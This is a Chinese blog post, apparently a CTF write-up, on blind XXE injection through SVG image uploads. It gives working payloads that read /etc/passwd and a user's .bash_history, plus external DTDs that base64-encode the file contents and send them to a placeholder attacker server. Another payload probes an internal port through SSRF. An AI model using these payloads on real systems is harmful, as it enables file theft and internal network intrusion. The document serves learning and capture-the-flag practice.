zoukankan      html  css  js  c++  java
  • Blind XXE

    0x00:介绍

    XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
    xxe漏洞触发的点往往是可以上传XML文件约位置,没有对上传的XML文件进行过滤,导致可以上传恶意的XML文件。
     
    最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞

    Blind XXE

    如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。
    所以,在没有回显的情况下如何来利用XXE
    无回显,但是又是XXE,我们又自然地想到了XXE盲打,也就是通过加载外部一个dtd/xml文件,然后把读取结果以HTTP请求的方式发送到自己的VPS。

    思路:
    1. 客户端发送payload 1给web服务器
    2. web服务器向vps获取恶意DTD,并执行文件读取payload2
    3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP
    4. 通过VPS获得回显(nc监听端口)

    0x01:一次Blind XXECTF

    题目要求输入一个 svg图片的链接

    • SVG 指可伸缩矢量图形 (Scalable Vector Graphics)
    • SVG 用来定义用于网络的基于矢量的图形
    • SVG 使用 XML 格式定义图形
    • SVG 图像在放大或改变尺寸的情况下其图形质量不会有所损失
    • SVG 是万维网联盟的标准
    • SVG 与诸如 DOM 和 XSL 之类的 W3C 标准是一个整体

    由于SVG是基于XML的矢量图,因此可以支持Entity(实体)功能。

    测试代码,一个自己服务器上的1.svg

    <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <!DOCTYPE testingxxe [ <!ENTITY xml "POC for Static Entities Allowed">]>
    <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <text x="20" y="50" width="100" height="100" font-size="10">&xml;</text>
    </svg>

    可以看到我们提交的实体,已经被执行

     尝试一下直接读取文件

    <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <!DOCTYPE testingxxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <text x="0" y="20" font-size="10">&xxe;</text>
    </svg>

    没有任何回显,所以考虑 Blind XXE

    0x02:Blind XXE 

    Blind xxe实现文件读取

    <!DOCTYPE svg [
    <!ELEMENT svg ANY >
    <!ENTITY % sp SYSTEM "http://**server IP**/xxe2.xml">
    %sp;
    %param1;
    ]>
    <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
          <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
          <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
          <flowRoot font-size="15">
             <flowRegion>
               <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
             </flowRegion>
             <flowDiv>
                <flowPara>&exfil;</flowPara>
             </flowDiv>
          </flowRoot>
    </svg>

    远程个人服务器上的 xxe2.xml

    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/home/r1ck/.bash_history">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://**server ip **/%data;'>">

    服务器

    python -m SimpleHTTPServer 端口号

    就可以监听http请求了

    Blind xxe 配合SSRF实现内网探测

    <!DOCTYPE svg [
    <!ELEMENT svg ANY >
    <!ENTITY % sp SYSTEM "http://**server ip**/xxe3.xml">
    %sp;
    %param1;
    ]>
    <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
          <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
          <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
          <flowRoot font-size="15">
             <flowRegion>
               <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
             </flowRegion>
             <flowDiv>
                <flowPara>&exfil;</flowPara>
             </flowDiv>
          </flowRoot>
    </svg>

    远程个人服务器上的 xxe3.xml

    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080/">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://**server ip**/%data;'>">

    只要目标主机8080上有服务,个人服务器上 http监听,就能有回显结果

    其他人的payload:

    entity.svg

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE fortiguard [ 
    <!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
    <!ENTITY % dtd SYSTEM "http://**server ip**/1.dtd">
    %dtd;
    %send;
    ]>
    <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
            <text y="20" font-size="20">&lab;</text>
    </svg>

    远程server上的1.dtd

    <!ENTITY % all
            "<!ENTITY &#x25; send SYSTEM 'http://IP:端口/?%file;'>"
    >
    %all;

    Finished!

  • 相关阅读:
    LeetCode Path Sum II
    LeetCode Longest Palindromic Substring
    LeetCode Populating Next Right Pointers in Each Node II
    LeetCode Best Time to Buy and Sell Stock III
    LeetCode Binary Tree Maximum Path Sum
    LeetCode Find Peak Element
    LeetCode Maximum Product Subarray
    LeetCode Intersection of Two Linked Lists
    一天一个设计模式(1)——工厂模式
    PHP迭代器 Iterator
  • 原文地址:https://www.cnblogs.com/liqik/p/13140229.html
Copyright © 2011-2022 走看看